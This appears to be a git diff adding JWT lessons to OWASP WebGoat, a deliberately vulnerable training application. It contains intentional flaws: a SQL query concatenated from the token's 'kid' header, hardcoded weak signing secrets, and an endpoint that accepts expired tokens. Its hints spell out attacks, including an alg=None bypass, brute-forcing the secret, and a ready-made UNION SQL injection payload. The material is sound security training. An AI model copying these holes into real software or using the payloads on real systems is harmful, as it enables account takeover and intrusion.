b/webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/plugin/JWTFinalEndpoint.java @@ -0,0 +1,106 @@ +package org.owasp.webgoat.plugin; + +import com.google.common.base.Charsets; +import io.jsonwebtoken.*; +import io.jsonwebtoken.impl.TextCodec; +import org.apache.commons.lang3.StringUtils; +import org.owasp.webgoat.assignments.AssignmentEndpoint; +import org.owasp.webgoat.assignments.AssignmentHints; +import org.owasp.webgoat.assignments.AssignmentPath; +import org.owasp.webgoat.assignments.AttackResult; +import org.owasp.webgoat.session.DatabaseUtilities; +import org.owasp.webgoat.session.WebSession; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; + +import java.sql.Connection; +import java.sql.ResultSet; +import java.sql.SQLException; + +/** + *
+ *  {
+ *      "typ": "JWT",
+ *      "kid": "webgoat_key",
+ *      "alg": "HS256"
+ *  }
+ *  {
+ *       "iss": "WebGoat Token Builder",
+ *       "iat": 1524210904,
+ *       "exp": 1618905304,
+ *       "aud": "webgoat.org",
+ *       "sub": "jerry@webgoat.com",
+ *       "username": "Jerry",
+ *       "Email": "jerry@webgoat.com",
+ *       "Role": [
+ *       "Cat"
+ *       ]
+ *  }
+ * 
+ * + * @author nbaars + * @since 4/23/17. + */ +@AssignmentPath("/JWT/final") +@AssignmentHints({"jwt-final-hint1", "jwt-final-hint2", "jwt-final-hint3", "jwt-final-hint4", "jwt-final-hint5", "jwt-final-hint6"}) +public class JWTFinalEndpoint extends AssignmentEndpoint { + + @Autowired + private WebSession webSession; + + @PostMapping("follow/{user}") + public @ResponseBody + String follow(@PathVariable("user") String user) { + if ("Jerry".equals(user)) { + return "Following yourself seems redundant"; + } else { + return "You are now following Tom"; + } + } + + @PostMapping("delete") + public @ResponseBody + AttackResult resetVotes(@RequestParam("token") String token) { + if (StringUtils.isEmpty(token)) { + return trackProgress(failed().feedback("jwt-invalid-token").build()); + } else { + try { + final String[] errorMessage = {null}; + Jwt jwt = Jwts.parser().setSigningKeyResolver(new SigningKeyResolverAdapter() { + @Override + public byte[] resolveSigningKeyBytes(JwsHeader header, Claims claims) { + final String kid = (String) header.get("kid"); + try { + Connection connection = DatabaseUtilities.getConnection(webSession); + ResultSet rs = connection.createStatement().executeQuery("SELECT key FROM jwt_keys WHERE id = '" + kid + "'"); + while (rs.next()) { + return TextCodec.BASE64.decode(rs.getString(1)); + } + } catch (SQLException e) { + errorMessage[0] = e.getMessage(); + } + return null; + } + }).parse(token); + if (errorMessage[0] != null) { + return trackProgress(failed().output(errorMessage[0]).build()); + } + Claims claims = (Claims) jwt.getBody(); + String username = (String) claims.get("username"); + if ("Jerry".equals(username)) { + return trackProgress(failed().feedback("jwt-final-jerry-account").build()); + } + if ("Tom".equals(username)) { + return trackProgress(success().build()); + } else { + return trackProgress(failed().feedback("jwt-final-not-tom").build()); + } + } catch (JwtException e) { + return trackProgress(failed().feedback("jwt-invalid-token").output(e.toString()).build()); + } + } + } +} diff --git a/webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/plugin/JWTRefreshEndpoint.java b/webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/plugin/JWTRefreshEndpoint.java new file mode 100644 index 000000000..192a4bef7 --- /dev/null +++ b/webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/plugin/JWTRefreshEndpoint.java @@ -0,0 +1,109 @@ +package org.owasp.webgoat.plugin; + +import com.google.common.collect.Lists; +import com.google.common.collect.Maps; +import io.jsonwebtoken.*; +import org.apache.commons.lang3.RandomStringUtils; +import org.owasp.webgoat.assignments.AssignmentEndpoint; +import org.owasp.webgoat.assignments.AssignmentHints; +import org.owasp.webgoat.assignments.AssignmentPath; +import org.owasp.webgoat.assignments.AttackResult; +import org.owasp.webgoat.session.WebSession; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.http.HttpStatus; +import org.springframework.http.MediaType; +import org.springframework.http.ResponseEntity; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestHeader; +import org.springframework.web.bind.annotation.ResponseBody; + +import java.util.Date; +import java.util.List; +import java.util.Map; +import java.util.concurrent.TimeUnit; + +/** + * @author nbaars + * @since 4/23/17. + */ +@AssignmentPath("/JWT/refresh/") +@AssignmentHints({"jwt-refresh-hint1", "jwt-refresh-hint2", "jwt-refresh-hint3", "jwt-refresh-hint4"}) +public class JWTRefreshEndpoint extends AssignmentEndpoint { + + public static final String PASSWORD = "bm5nhSkxCXZkKRy4"; + private static final String JWT_PASSWORD = "bm5n3SkxCX4kKRy4"; + private static final List validRefreshTokens = Lists.newArrayList(); + + @PostMapping(value = "login", consumes = MediaType.APPLICATION_JSON_VALUE, produces = MediaType.APPLICATION_JSON_VALUE) + public @ResponseBody + ResponseEntity follow(@RequestBody Map json) { + String user = (String) json.get("user"); + String password = (String) json.get("password"); + + if ("Jerry".equals(user) && PASSWORD.equals(password)) { + return ResponseEntity.ok(createNewTokens(user)); + } + return ResponseEntity.status(HttpStatus.UNAUTHORIZED).build(); + } + + private Map createNewTokens(String user) { + Map claims = Maps.newHashMap(); + claims.put("admin", "false"); + claims.put("user", user); + String token = Jwts.builder() + .setIssuedAt(new Date(System.currentTimeMillis() + TimeUnit.DAYS.toDays(10))) + .setClaims(claims) + .signWith(io.jsonwebtoken.SignatureAlgorithm.HS512, JWT_PASSWORD) + .compact(); + Map tokenJson = Maps.newHashMap(); + String refreshToken = RandomStringUtils.randomAlphabetic(20); + validRefreshTokens.add(refreshToken); + tokenJson.put("access_token", token); + tokenJson.put("refresh_token", refreshToken); + return tokenJson; + } + + @PostMapping("checkout") + public @ResponseBody + AttackResult checkout(@RequestHeader("Authorization") String token) { + try { + Jwt jwt = Jwts.parser().setSigningKey(JWT_PASSWORD).parse(token.replace("Bearer ", "")); + Claims claims = (Claims) jwt.getBody(); + String user = (String) claims.get("user"); + if ("Tom".equals(user)) { + return trackProgress(success().build()); + } + return trackProgress(failed().feedback("jwt-refresh-not-tom").feedbackArgs(user).build()); + } catch (ExpiredJwtException e) { + return trackProgress(failed().output(e.getMessage()).build()); + } catch (JwtException e) { + return trackProgress(failed().feedback("jwt-invalid-token").build()); + } + } + + @PostMapping("newToken") + public @ResponseBody + ResponseEntity newToken(@RequestHeader("Authorization") String token, @RequestBody Map json) { + String user; + String refreshToken; + try { + Jwt jwt = Jwts.parser().setSigningKey(JWT_PASSWORD).parse(token.replace("Bearer ", "")); + user = (String) jwt.getBody().get("user"); + refreshToken = (String) json.get("refresh_token"); + } catch (ExpiredJwtException e) { + user = (String) e.getClaims().get("user"); + refreshToken = (String) json.get("refresh_token"); + } + + if (user == null || refreshToken == null) { + return ResponseEntity.status(HttpStatus.UNAUTHORIZED).build(); + } else if (validRefreshTokens.contains(refreshToken)) { + validRefreshTokens.remove(refreshToken); + return ResponseEntity.ok(createNewTokens(user)); + } else { + return ResponseEntity.status(HttpStatus.UNAUTHORIZED).build(); + } + } + +} diff --git a/webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/plugin/JWTSecretKeyEndpoint.java b/webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/plugin/JWTSecretKeyEndpoint.java new file mode 100644 index 000000000..5748681f5 --- /dev/null +++ b/webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/plugin/JWTSecretKeyEndpoint.java @@ -0,0 +1,51 @@ +package org.owasp.webgoat.plugin; + +import com.google.common.collect.Lists; +import org.owasp.webgoat.assignments.AssignmentEndpoint; +import org.owasp.webgoat.assignments.AssignmentHints; +import org.owasp.webgoat.assignments.AssignmentPath; +import org.owasp.webgoat.assignments.AttackResult; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; + +import io.jsonwebtoken.Claims; +import io.jsonwebtoken.Jwt; +import io.jsonwebtoken.Jwts; +import org.springframework.web.bind.annotation.ResponseBody; + +import java.util.List; + +/** + * @author nbaars + * @since 4/23/17. + */ +@AssignmentPath("/JWT/secret") +@AssignmentHints({"jwt-secret-hint1", "jwt-secret-hint2", "jwt-secret-hint3"}) +public class JWTSecretKeyEndpoint extends AssignmentEndpoint { + + public static final String JWT_SECRET = "victory"; + private static final String WEBGOAT_USER = "WebGoat"; + private static final List expectedClaims = Lists.newArrayList("iss", "iat", "exp", "aud", "sub", "username", "Email", "Role"); + + @PostMapping + @ResponseBody + public AttackResult login(@RequestParam String token) { + try { + Jwt jwt = Jwts.parser().setSigningKey(JWT_SECRET).parse(token); + Claims claims = (Claims) jwt.getBody(); + if (!claims.keySet().containsAll(expectedClaims)) { + return trackProgress(failed().feedback("jwt-secret-claims-missing").build()); + } else { + String user = (String) claims.get("username"); + + if (WEBGOAT_USER.equalsIgnoreCase(user)) { + return trackProgress(success().build()); + } else { + return trackProgress(failed().feedback("jwt-secret-incorrect-user").feedbackArgs(user).build()); + } + } + } catch (Exception e) { + return trackProgress(failed().feedback("jwt-invalid-token").output(e.getMessage()).build()); + } + } +} diff --git a/webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/plugin/JWTVotesEndpoint.java b/webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/plugin/JWTVotesEndpoint.java new file mode 100644 index 000000000..c963212ee --- /dev/null +++ b/webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/plugin/JWTVotesEndpoint.java @@ -0,0 +1,156 @@ +package org.owasp.webgoat.plugin; + +import com.google.common.collect.Maps; +import io.jsonwebtoken.Claims; +import io.jsonwebtoken.Jwt; +import io.jsonwebtoken.JwtException; +import io.jsonwebtoken.Jwts; +import org.apache.commons.lang3.StringUtils; +import org.owasp.webgoat.assignments.AssignmentEndpoint; +import org.owasp.webgoat.assignments.AssignmentHints; +import org.owasp.webgoat.assignments.AssignmentPath; +import org.owasp.webgoat.assignments.AttackResult; +import org.owasp.webgoat.plugin.votes.Views; +import org.owasp.webgoat.plugin.votes.Vote; +import org.springframework.http.HttpStatus; +import org.springframework.http.MediaType; +import org.springframework.http.ResponseEntity; +import org.springframework.http.converter.json.MappingJacksonValue; +import org.springframework.web.bind.annotation.*; + +import javax.annotation.PostConstruct; +import javax.servlet.http.Cookie; +import javax.servlet.http.HttpServletResponse; +import java.time.Duration; +import java.time.Instant; +import java.util.Date; +import java.util.Map; +import java.util.concurrent.TimeUnit; + +import static java.util.Comparator.comparingLong; +import static java.util.Optional.ofNullable; +import static java.util.stream.Collectors.toList; + +/** + * @author nbaars + * @since 4/23/17. + */ +@AssignmentPath("/JWT/votings") +@AssignmentHints({"jwt-change-token-hint1", "jwt-change-token-hint2", "jwt-change-token-hint3", "jwt-change-token-hint4", "jwt-change-token-hint5"}) +public class JWTVotesEndpoint extends AssignmentEndpoint { + + public static final String JWT_PASSWORD = "victory"; + private static String validUsers = "TomJerrySylvester"; + + private static int totalVotes = 38929; + private Map votes = Maps.newHashMap(); + + @PostConstruct + public void initVotes() { + votes.put("Admin lost password", new Vote("Admin lost password", + "In this challenge you will need to help the admin and find the password in order to login", + "challenge1-small.png", "challenge1.png", 36000, totalVotes)); + votes.put("Vote for your favourite", + new Vote("Vote for your favourite", + "In this challenge ...", + "challenge5-small.png", "challenge5.png", 30000, totalVotes)); + votes.put("Get it for free", + new Vote("Get it for free", + "The objective for this challenge is to buy a Samsung phone for free.", + "challenge2-small.png", "challenge2.png", 20000, totalVotes)); + votes.put("Photo comments", + new Vote("Photo comments", + "n this challenge you can comment on the photo you will need to find the flag somewhere.", + "challenge3-small.png", "challenge3.png", 10000, totalVotes)); + } + + @GetMapping("/login") + public void login(@RequestParam("user") String user, HttpServletResponse response) { + if (validUsers.contains(user)) { + Claims claims = Jwts.claims().setIssuedAt(Date.from(Instant.now().plus(Duration.ofDays(10)))); + claims.put("admin", "false"); + claims.put("user", user); + String token = Jwts.builder() + .setClaims(claims) + .signWith(io.jsonwebtoken.SignatureAlgorithm.HS512, JWT_PASSWORD) + .compact(); + Cookie cookie = new Cookie("access_token", token); + response.addCookie(cookie); + response.setStatus(HttpStatus.OK.value()); + response.setContentType(MediaType.APPLICATION_JSON_VALUE); + } else { + Cookie cookie = new Cookie("access_token", ""); + response.addCookie(cookie); + response.setStatus(HttpStatus.UNAUTHORIZED.value()); + response.setContentType(MediaType.APPLICATION_JSON_VALUE); + } + } + + @GetMapping + @ResponseBody + public MappingJacksonValue getVotes(@CookieValue(value = "access_token", required = false) String accessToken) { + MappingJacksonValue value = new MappingJacksonValue(votes.values().stream().sorted(comparingLong(Vote::getAverage).reversed()).collect(toList())); + if (StringUtils.isEmpty(accessToken)) { + value.setSerializationView(Views.GuestView.class); + } else { + try { + Jwt jwt = Jwts.parser().setSigningKey(JWT_PASSWORD).parse(accessToken); + Claims claims = (Claims) jwt.getBody(); + String user = (String) claims.get("user"); + if ("Guest".equals(user) || !validUsers.contains(user)) { + value.setSerializationView(Views.GuestView.class); + } else { + value.setSerializationView(Views.UserView.class); + } + } catch (JwtException e) { + value.setSerializationView(Views.GuestView.class); + } + } + return value; + } + + @PostMapping(value = "{title}") + @ResponseBody + @ResponseStatus(HttpStatus.ACCEPTED) + public ResponseEntity vote(@PathVariable String title, @CookieValue(value = "access_token", required = false) String accessToken) { + if (StringUtils.isEmpty(accessToken)) { + return ResponseEntity.status(HttpStatus.UNAUTHORIZED).build(); + } else { + try { + Jwt jwt = Jwts.parser().setSigningKey(JWT_PASSWORD).parse(accessToken); + Claims claims = (Claims) jwt.getBody(); + String user = (String) claims.get("user"); + if (!validUsers.contains(user)) { + return ResponseEntity.status(HttpStatus.UNAUTHORIZED).build(); + } else { + ofNullable(votes.get(title)).ifPresent(v -> v.incrementNumberOfVotes(totalVotes)); + return ResponseEntity.accepted().build(); + } + } catch (JwtException e) { + return ResponseEntity.status(HttpStatus.UNAUTHORIZED).build(); + } + } + } + + @PostMapping("reset") + public @ResponseBody + AttackResult resetVotes(@CookieValue(value = "access_token", required = false) String accessToken) { + if (StringUtils.isEmpty(accessToken)) { + return trackProgress(failed().feedback("jwt-invalid-token").build()); + } else { + try { + Jwt jwt = Jwts.parser().setSigningKey(JWT_PASSWORD).parse(accessToken); + Claims claims = (Claims) jwt.getBody(); + boolean isAdmin = Boolean.valueOf((String) claims.get("admin")); + if (!isAdmin) { + return trackProgress(failed().feedback("jwt-only-admin").build()); + } else { + votes.values().forEach(vote -> vote.reset()); + return trackProgress(success().build()); + } + } catch (JwtException e) { + return trackProgress(failed().feedback("jwt-invalid-token").output(e.toString()).build()); + } + } + } +} diff --git a/webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/plugin/votes/Views.java b/webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/plugin/votes/Views.java new file mode 100644 index 000000000..591769c5c --- /dev/null +++ b/webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/plugin/votes/Views.java @@ -0,0 +1,13 @@ +package org.owasp.webgoat.plugin.votes; + +/** + * @author nbaars + * @since 4/30/17. + */ +public class Views { + public interface GuestView { + } + + public interface UserView extends GuestView { + } +} diff --git a/webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/plugin/votes/Vote.java b/webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/plugin/votes/Vote.java new file mode 100644 index 000000000..d9217d402 --- /dev/null +++ b/webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/plugin/votes/Vote.java @@ -0,0 +1,51 @@ +package org.owasp.webgoat.plugin.votes; + +import com.fasterxml.jackson.annotation.JsonView; +import lombok.Getter; +import lombok.Setter; + +/** + * @author nbaars + * @since 5/2/17. + */ +@Getter +public class Vote { + @JsonView(Views.GuestView.class) + private final String title; + @JsonView(Views.GuestView.class) + private final String information; + @JsonView(Views.GuestView.class) + private final String imageSmall; + @JsonView(Views.GuestView.class) + private final String imageBig; + @JsonView(Views.UserView.class) + private int numberOfVotes; + @JsonView(Views.UserView.class) + private boolean votingAllowed = true; + @JsonView(Views.UserView.class) + private long average = 0; + + + public Vote(String title, String information, String imageSmall, String imageBig, int numberOfVotes, int totalVotes) { + this.title = title; + this.information = information; + this.imageSmall = imageSmall; + this.imageBig = imageBig; + this.numberOfVotes = numberOfVotes; + this.average = calculateStars(totalVotes); + } + + public void incrementNumberOfVotes(int totalVotes) { + this.numberOfVotes = this.numberOfVotes + 1; + this.average = calculateStars(totalVotes); + } + + public void reset() { + this.numberOfVotes = 1; + this.average = 1; + } + + private long calculateStars(int totalVotes) { + return Math.round(((double) numberOfVotes / (double) totalVotes) * 4); + } +} \ No newline at end of file diff --git a/webgoat-lessons/jwt/src/main/resources/css/jwt.css b/webgoat-lessons/jwt/src/main/resources/css/jwt.css new file mode 100644 index 000000000..19dd769d0 --- /dev/null +++ b/webgoat-lessons/jwt/src/main/resources/css/jwt.css @@ -0,0 +1,116 @@ +a.list-group-item { + height:auto; +} +a.list-group-item.active small { + color:#fff; +} +.stars { + margin:20px auto 1px; +} +.img-responsive { + min-width: 100%; +} + + +.card { + font-size: 1em; + overflow: hidden; + padding: 0; + border: none; + border-radius: .28571429rem; + box-shadow: 0 1px 3px 0 #d4d4d5, 0 0 0 1px #d4d4d5; +} + +.card-block { + font-size: 1em; + position: relative; + margin: 0; + padding: 1em; + border: none; + border-top: 1px solid rgba(34, 36, 38, .1); + box-shadow: none; +} + +.card-img-top { + display: block; + width: 100%; + height: auto; +} + +.card-title { + font-size: 1.28571429em; + font-weight: 700; + line-height: 1.2857em; +} + +.card-text { + clear: both; + margin-top: .5em; + color: rgba(0, 0, 0, .68); +} + +.card-footer { + font-size: 1em; + position: static; + top: 0; + left: 0; + max-width: 100%; + padding: .75em 1em; + color: rgba(0, 0, 0, .4); + border-top: 1px solid rgba(0, 0, 0, .05) !important; + background: #fff; +} + +.card-inverse .btn { + border: 1px solid rgba(0, 0, 0, .05); +} + +.profile { + position: absolute; + top: -12px; + display: inline-block; + overflow: hidden; + box-sizing: border-box; + width: 50px; + height: 50px; + margin: 0; + border: 1px solid #fff; + border-radius: 50%; +} + +.profile-avatar { + display: block; + width: 100%; + height: auto; + border-radius: 50%; +} + +.profile-inline { + position: relative; + top: 0; + display: inline-block; +} + +.profile-inline ~ .card-title { + display: inline-block; + margin-left: 4px; + vertical-align: top; +} + +.text-bold { + font-weight: 700; +} + +.meta { + font-size: 1em; + color: rgba(0, 0, 0, .4); +} + +.meta a { + text-decoration: none; + color: rgba(0, 0, 0, .4); +} + +.meta a:hover { + color: rgba(0, 0, 0, .87); +} \ No newline at end of file diff --git a/webgoat-lessons/jwt/src/main/resources/html/JWT.html b/webgoat-lessons/jwt/src/main/resources/html/JWT.html index 242452f71..9ba14748f 100644 --- a/webgoat-lessons/jwt/src/main/resources/html/JWT.html +++ b/webgoat-lessons/jwt/src/main/resources/html/JWT.html @@ -3,40 +3,287 @@
- -
+
+
+
+
+
+
+
+
+ + + + +
+
+
+
+
+
+ +
+ +
+
+ +
+

Welcome back,

+
+
+ +
+

Vote for your favorite

+
+
+ +
+
+
+
+
+ +
+ +
+
- - -
- +
+
- - - -
-
- - Enter Your Name: - +
+
+
+
+ +
+
+ +
+
- + +
-
+
+
+
+
+ +
+
+ + + + +
+
+
+
+
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ProductQuantityPriceTotal 
+ + + + $ + 4.87 + $14.61 + +
+
+ +
+

Pentesting for professionals

+
by WebWolf Publishing
+ Status: Leaves warehouse in 2 - 3 weeks +
+
+
+ + $4.99 + $9.98 + +
     
Subtotal

Estimated shipping
+

Total

$24.59

$6.94
+

$31.53

      + + + +
+
+
+
+
+ +
+
+
+
+
+ +
+
+ + + +
+
+
+
+
+
+
+ +
+
+ +
+

Jerry

+
+ Jerry is a small, brown, house mouse. +
+
+ +
+
+
+
+ +
+
+ +
+

Tom

+
+ Tom is a grey and white domestic short hair cat. +
+
+ +
+
+
+
+ +
+
+
+
\ No newline at end of file diff --git a/webgoat-lessons/jwt/src/main/resources/i18n/WebGoatLabels.properties b/webgoat-lessons/jwt/src/main/resources/i18n/WebGoatLabels.properties index 9b9f75e31..92cad6316 100644 --- a/webgoat-lessons/jwt/src/main/resources/i18n/WebGoatLabels.properties +++ b/webgoat-lessons/jwt/src/main/resources/i18n/WebGoatLabels.properties @@ -1 +1,33 @@ -jwt.title=JWT tokens (Under development) +jwt.title=JWT tokens + +#Assignment changing tokens +jwt-user=You are logged in as {0}, but you are not an admin yet, please try again +jwt-invalid-token=Not a valid JWT token, please try again +jwt-only-admin=Only an admin user can reset the votes +jwt-change-token-hint1=Select a different user and look at the token you receive back, use the delete button to reset the votes count +jwt-change-token-hint2=Decode the token and look at the contents +jwt-change-token-hint3=Change the contents of the token and replace the cookie before sending the request for getting the votes +jwt-change-token-hint4=Change the admin field to true in the token +jwt-change-token-hint5=Submit the token by changing the algorithm to None and remove the signature + +jwt-secret-hint1=Save the token and try to verify the token locally +jwt-secret-hint2=Download a word list dictionary (https://github.com/first20hours/google-10000-english) +jwt-secret-hint3=Write a small program or use HashCat for brute forcing the token according the word list +jwt-secret-claims-missing=You are missing some claims, you should keep all the claims in the token +jwt-secret-incorrect-user=The user is {0}, you need to change it to WebGoat + +jwt-refresh-hint1=Look at the access log you will find a token there +jwt-refresh-hint2=The token from the access log is no longer valid, can you find a way to refresh it? +jwt-refresh-hint3=The endpoint for refreshing a token is 'jwt/refresh/newToken' +jwt-refresh-hint4=Use the found access token in the Authorization: Bearer header and use your own refresh token +jwt-refresh-not-tom=User is not Tom but {0}, please try again + +jwt-final-jerry-account=Yikes, you are removing Jerry's account, try to delete the account of Tom +jwt-final-not-tom=Username is not Tom try to pass a token for Tom + +jwt-final-hint1=Take a look at the token and specifically and the header +jwt-final-hint2=The 'kid' (key ID) header parameter is a hint indicating which key was used to secure the JWS +jwt-final-hint3=The key can be located on the filesystem in memory or even reside in the database +jwt-final-hint4=The key is stored in the database and loaded while verifying a token +jwt-final-hint5=Using a SQL injection you might be able to manipulate the key to something you know and create a new token. +jwt-final-hint6=Use: hacked' UNION select 'deletingTom' from INFORMATION_SCHEMA.SYSTEM_USERS -- as the kid in the header and change the contents of the token to Tom and hit the endpoint with the new token \ No newline at end of file diff --git a/webgoat-lessons/jwt/src/main/resources/images/jerry.png b/webgoat-lessons/jwt/src/main/resources/images/jerry.png new file mode 100644 index 000000000..5ed492711 Binary files /dev/null and b/webgoat-lessons/jwt/src/main/resources/images/jerry.png differ diff --git a/webgoat-lessons/jwt/src/main/resources/images/jwt_diagram.png b/webgoat-lessons/jwt/src/main/resources/images/jwt_diagram.png new file mode 100644 index 000000000..cb70a6b66 Binary files /dev/null and b/webgoat-lessons/jwt/src/main/resources/images/jwt_diagram.png differ diff --git a/webgoat-lessons/jwt/src/main/resources/images/jwt_token.png b/webgoat-lessons/jwt/src/main/resources/images/jwt_token.png new file mode 100644 index 000000000..43a07c4c8 Binary files /dev/null and b/webgoat-lessons/jwt/src/main/resources/images/jwt_token.png differ diff --git a/webgoat-lessons/jwt/src/main/resources/images/logs.txt b/webgoat-lessons/jwt/src/main/resources/images/logs.txt new file mode 100644 index 000000000..42146c185 --- /dev/null +++ b/webgoat-lessons/jwt/src/main/resources/images/logs.txt @@ -0,0 +1,6 @@ + +194.201.170.15 - - [28/Jan/2016:21:28:01 +0100] "GET /JWT/refresh/checkout?token=eyJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE1MjYxMzE0MTEsImV4cCI6MTUyNjIxNzgxMSwiYWRtaW4iOiJmYWxzZSIsInVzZXIiOiJUb20ifQ.DCoaq9zQkyDH25EcVWKcdbyVfUL4c9D4jRvsqOqvi9iAd4QuqmKcchfbU8FNzeBNF9tLeFXHZLU4yRkq-bjm7Q HTTP/1.1" 401 242 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0" "-" +194.201.170.15 - - [28/Jan/2016:21:28:01 +0100] "POST /JWT/refresh/moveToCheckout HTTP/1.1" 200 12783 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0" "-" +194.201.170.15 - - [28/Jan/2016:21:28:01 +0100] "POST /JWT/refresh/login HTTP/1.1" 200 212 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0" "-" +194.201.170.15 - - [28/Jan/2016:21:28:01 +0100] "GET /JWT/refresh/addItems HTTP/1.1" 404 249 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0" "-" +195.206.170.15 - - [28/Jan/2016:21:28:01 +0100] "POST /JWT/refresh/moveToCheckout HTTP/1.1" 404 215 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.181 Safari/537.36" "-" diff --git a/webgoat-lessons/jwt/src/main/resources/images/product-icon.png b/webgoat-lessons/jwt/src/main/resources/images/product-icon.png new file mode 100644 index 000000000..6589f621d Binary files /dev/null and b/webgoat-lessons/jwt/src/main/resources/images/product-icon.png differ diff --git a/webgoat-lessons/jwt/src/main/resources/images/tom.png b/webgoat-lessons/jwt/src/main/resources/images/tom.png new file mode 100644 index 000000000..d8e50d91a Binary files /dev/null and b/webgoat-lessons/jwt/src/main/resources/images/tom.png differ diff --git a/webgoat-lessons/jwt/src/main/resources/js/jwt-buy.js b/webgoat-lessons/jwt/src/main/resources/js/jwt-buy.js new file mode 100644 index 000000000..f5167aa91 --- /dev/null +++ b/webgoat-lessons/jwt/src/main/resources/js/jwt-buy.js @@ -0,0 +1,36 @@ +$(document).ready(function () { + $("#quantity1").on("blur", function () { + var quantity = $("#quantity1").val(); + if (!$.isNumeric(quantity) || quantity < 0) { + $("#quantity1").val("1"); + quantity = 1; + } + var piecePrice = $("#piecePrice1").text(); + $('#totalPrice1').text((quantity * piecePrice).toFixed(2)); + updateTotal(); + }); + $("#quantity2").on("blur", function () { + var quantity = $("#quantity2").val(); + if (!$.isNumeric(quantity) || quantity < 0) { + $("#quantity2").val("1"); + quantity = 1; + } + var piecePrice = $("#piecePrice2").text(); + $('#totalPrice2').text((quantity * piecePrice).toFixed(2)); + updateTotal(); + }) +}) + +function updateTotal() { + var price1 = parseFloat($('#totalPrice1').text()); + var price2 = parseFloat($('#totalPrice2').text()); + var subTotal = price1 + price2; + $('#subtotalJwt').text(subTotal.toFixed(2)); + var total = subTotal + 6.94; + $('#totalJwt').text(total.toFixed(2)); + + +} + + + diff --git a/webgoat-lessons/jwt/src/main/resources/js/jwt-final.js b/webgoat-lessons/jwt/src/main/resources/js/jwt-final.js new file mode 100644 index 000000000..faa31b927 --- /dev/null +++ b/webgoat-lessons/jwt/src/main/resources/js/jwt-final.js @@ -0,0 +1,9 @@ +function follow(user) { + $.ajax({ + type: 'POST', + url: 'JWT/final/follow/' + user + }).then(function (result) { + $("#toast").append(result); + }) +} + diff --git a/webgoat-lessons/jwt/src/main/resources/js/jwt-refresh.js b/webgoat-lessons/jwt/src/main/resources/js/jwt-refresh.js new file mode 100644 index 000000000..e8f24a2a5 --- /dev/null +++ b/webgoat-lessons/jwt/src/main/resources/js/jwt-refresh.js @@ -0,0 +1,42 @@ +$(document).ready(function () { + login('Jerry'); +}) + +function login(user) { + $.ajax({ + type: 'POST', + url: 'JWT/refresh/login', + contentType: "application/json", + data: JSON.stringify({user: user, password: "bm5nhSkxCXZkKRy4"}) + }).success( + function (response) { + localStorage.setItem('access_token', response['access_token']); + localStorage.setItem('refresh_token', response['refresh_token']); + } + ) +} + +//Dev comment: Pass token as header as we had an issue with tokens ending up in the access_log +webgoat.customjs.addBearerToken = function () { + var headers_to_set = {}; + headers_to_set['Authorization'] = 'Bearer ' + localStorage.getItem('access_token'); + return headers_to_set; +} + +//Dev comment: Temporarily disabled from page we need to work out the refresh token flow but for now we can go live with the checkout page +function newToken() { + localStorage.getItem('refreshToken'); + $.ajax({ + headers: { + 'Authorization': 'Bearer ' + localStorage.getItem('access_token') + }, + type: 'POST', + url: 'JWT/refresh/newToken', + data: JSON.stringify({refreshToken: localStorage.getItem('refresh_token')}) + }).success( + function () { + localStorage.setItem('access_token', apiToken); + localStorage.setItem('refresh_token', refreshToken); + } + ) +} \ No newline at end of file diff --git a/webgoat-lessons/jwt/src/main/resources/js/jwt-voting.js b/webgoat-lessons/jwt/src/main/resources/js/jwt-voting.js new file mode 100644 index 000000000..55f95b8a0 --- /dev/null +++ b/webgoat-lessons/jwt/src/main/resources/js/jwt-voting.js @@ -0,0 +1,87 @@ +$(document).ready(function () { + loginVotes('Guest'); +}) + +function loginVotes(user) { + $("#name").text(user); + $.ajax({ + url: 'JWT/votings/login?user=' + user, + contentType: "application/json" + }).always(function () { + getVotings(); + }) +} + +var html = '' + + '
' + + '
' + + 'placehold.it/350x250' + + '
' + + '
' + + '
' + + '

TITLE

' + + '

INFORMATION

' + + '
' + + '
' + + '

NO_VOTES' + + ' votes' + + '

' + + '' + + '
' + + '' + + '' + + '' + + '' + + '
' + + '

Average AVERAGE /4

' + + '
' + + '
' + + '
